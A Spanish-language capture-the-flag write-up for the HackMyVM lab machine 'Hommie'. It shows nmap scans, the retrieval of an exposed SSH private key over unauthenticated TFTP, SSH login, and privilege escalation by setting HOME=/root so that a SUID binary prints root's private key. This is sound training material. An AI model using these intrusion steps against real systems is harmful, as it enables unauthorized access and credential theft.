cd ~/blog

~/writeups/hmv/006-hommie.md

006 - Hommie

easy Linux hmvautor: Jordy Pérez Osorio aviso legal
SSH Private Key Exposure mediante TFTPSUID Binary Abuse mediante la variable HOME controlable
hackmyvm.eu/machines/machine.php?vm=Hommie

~2 min de lectura


Enumeración de servicios

Comenzamos con un escaneo general y luego uno específico de puertos:

nmap -sC -sV -p21,22,80 -oN 02-targeted 192.168.1.96
Nmap scan report for 192.168.1.96
Host is up (0.00041s latency).

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r--    1 0        0               0 Sep 30  2020 index.html
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to ::ffff:192.168.1.10
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 2
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
|   2048 c6:27:ab:53:ab:b9:c0:20:37:36:52:a9:60:d3:53:fc (RSA)
|   256 48:3b:28:1f:9a:23:da:71:f6:05:0b:a5:a6:c8:b7:b0 (ECDSA)
|_  256 b3:2e:7c:ff:62:2d:53:dd:63:97:d4:47:72:c8:4e:30 (ED25519)
80/tcp open  http    nginx 1.14.2
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: nginx/1.14.2
MAC Address: 08:00:27:2D:42:5D (Oracle VirtualBox virtual NIC)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Del escaneo rescatamos: FTP anónimo habilitado, SSH (22) y un servidor HTTP (80). En el navegador, el sitio muestra una pista:

alexia, Your id_rsa is exposed, please move it!!!!!
Im fighting regarding reverse shells!
-nobody

Enumeración UDP y acceso inicial

Tenemos un usuario potencial, alexia, y la mención de una id_rsa expuesta. Tras revisar código fuente, consola y cabeceras sin resultados, ampliamos el escaneo a UDP.

El barrido TCP no puede descubrir servicios UDP. TFTP utiliza normalmente UDP 69, carece de autenticación y tampoco permite listar directorios como FTP. La pista proporciona el nombre exacto id_rsa, así que podemos solicitar el archivo directamente.

El escaneo UDP muestra el servicio TFTP:

nmap -sU --top-ports 250 192.168.1.96 -oN 03-udp
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-17 20:12 -03
Nmap scan report for 192.168.1.96
Host is up (0.00058s latency).
Not shown: 248 closed udp ports (port-unreach)
PORT   STATE         SERVICE
68/udp open|filtered dhcpc
69/udp open|filtered tftp
MAC Address: 08:00:27:2D:42:5D (Oracle VirtualBox virtual NIC)

Nos conectamos por TFTP y descargamos la id_rsa:

❯ tftp 192.168.1.96
tftp> get id_rsa
tftp> quit

Ajustamos los permisos de la clave y nos conectamos por SSH como alexia, obteniendo la primera flag:

❯ chmod 600 id_rsa
❯ ssh -i id_rsa alexia@192.168.1.96
Linux hommie 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2+deb10u1 (2020-06-07) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Wed Sep 30 11:06:15 2020
alexia@hommie:~$

Escalada de privilegios

sudo -l no ofrece vías, así que buscamos binarios SUID y encontramos showMetheKey:

find / -perm -4000 2>/dev/null

Al ejecutarlo, muestra una clave privada SSH. Analizamos sus cadenas de texto con el comando strings:

setuid
...
setgid
...
cat $HOME/.ssh/id_rsa
...

El binario susceptible de SUID Binary Abuse lee la clave desde $HOME/.ssh/id_rsa. Por ello podemos abusar de la variable de entorno HOME para que apunte a /root.

El error consiste en combinar privilegios elevados con una ruta construida desde una variable controlada por el usuario. El UID efectivo permite leer archivos de root y HOME=/root decide cuál será el archivo abierto. La salida obtenida no es una shell, sino la clave privada necesaria para autenticarnos como root.

Fijamos el nuevo valor de HOME:

export HOME=/root

Al ejecutar de nuevo el binario, nos muestra la clave privada de root. Las notas registran que se utilizó para iniciar una conexión SSH como root y capturar la bandera, pero no conservaron el comando exacto ni la salida de esa sesión final.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados